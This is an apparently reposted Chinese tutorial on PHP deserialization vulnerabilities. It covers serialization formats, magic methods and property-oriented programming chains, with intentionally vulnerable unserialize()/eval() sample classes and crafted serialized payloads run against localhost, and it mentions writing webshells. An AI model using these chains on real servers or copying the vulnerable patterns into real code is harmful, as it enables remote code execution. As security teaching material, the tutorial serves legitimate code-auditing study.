PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了2020/2/2 PHP代码审计之反序列化大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

0x00 序列化与反序列化

序列化:
serialize()把对象转换为字节序列的过程称为对象的序列化
反序列化:
unserialize()把字节序列恢复为对象的过程称为对象的反序列化

0x01 序列化

<?PHP
$test1 = "wtz2020";
$test2 = array("wtz.2020");
echo serialize($test1);
?>

2020/2/2 PHP代码审计之反序列化

这里就是转化成7个字节序列
s:strings类型,7:7个字节。

<?PHP
$test1 = "wtz2020";
$test2 = array("wtz.2020");
echo serialize($test1);
echo serialize($test2);
?>

2020/2/2 PHP代码审计之反序列化

a:数组类型
i:int型

把数据类型压缩到字符中

序列化的不同结果

这里我在前面文章中已经学习过:

https://www.cnblogs.com/wangtanzhi/p/12193930.html

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

举个栗子:

<?PHP
class test{
    private $test1 = "wtz2020";
    public $test2 = "wtz2020";
    protected $test3 = "wtz2020";
}
$test = new test();//实例化一个对象
echo serialize(test);
?>

ps:我们在写序列化时基本模板:

<?PHP
class x{
}
$x = new x(a);//a通常在上面类中找到
echo serialize($X)
?>

0x02 漏洞本质

unserialize函数的变量可控
PHP文件中存在可利用的类,类中有魔术方法

0x03 漏洞成因

反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根据不同的代码可以导致各种攻击,如代码注入,sql注入,目录遍历等等。

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented ProgrAMMing)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这函数调用到的所有函数,直至找到可以利用的点为止
下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数678f9d3b7f998b37741a11f78560e9cd.png

如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

0x04 魔术方法

__construct()当一个对象创建时被调用

_destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

0x05漏洞挖掘技巧

通过审计这些包来找到可利用的 POP链。
PHP链的基本思路.
1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
2.追踪调用过程
3.手工构造 并验证 POP 链
4.开发一个应用使用该库和自动加载机制,来测试exploit.

0x06 代码实例

我们这里写一个PHP反序列化导致代码执行
魔术方法使用
**_destruct()**
一个对象销毁时被调用

<?PHP 
class A{ 
var $test = "demo"; 
function __destruct(){ echo $this->test; 
} } 
$a = $_GET['test']; 
$a_unser = unserialize($a); 
?>

这里我们只要构造payload:
序列化是我们之前构造好的就不写了

http://127.0.0.1/test.PHP?test=O:1:”A”:1:{s:4:”test”;s:5:”Hello”;}

就能控制echo出的变量,导致代码执行
这里我们需要明白要一一对应:
比如:

http://127.0.0.1/test.PHP?test=O:1:”A”:1:{s:4:”test”;s:7:”wtz2020”;}

在实际应用中,我们可以通过这种类似的方法来写入websHell,但是有时没有魔法方法使用,那么我们该怎么办呢?

利用方法如下:
寻找相同的函数名,把敏感函数和类联系在一起。

代码

<?PHP

class chybeta {
var $test;
function __construct() {
$this->test = new ph0en1x();
}

function __destruct() {
$this->test->action();
}
}

class ph0en1x {
function action() {
echo "ph0en1x";
}
}

class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}

$class6 = new chybeta();

unserialize(),我们注意这里面的参数是否可控,在传过来之前要过滤一些危险参数$_GET['test']);

?>

本意上,new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。

下面是利用过程。构造序列化。

<?PHP
class chybeta {
var $test;

function __construct() {
$this->test = new ph0en2x();
}

}
class ph0en2x {
var $test2 = "PHPinfo();";

}
echo serialize(new chybeta());
?>

得到:

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"PHPinfo();";}}

传给index.PHP的test参数,利用成功

0x07 防御方法

核心函数还是unserialize(),我们注意这里面的参数是否可控,在传过来之前要过滤一些危险参数

链接
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.anquanke.com/post/id/84922

大佬总结

以上是大佬教程为你收集整理的2020/2/2 PHP代码审计之反序列化全部内容,希望文章能够帮你解决2020/2/2 PHP代码审计之反序列化所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: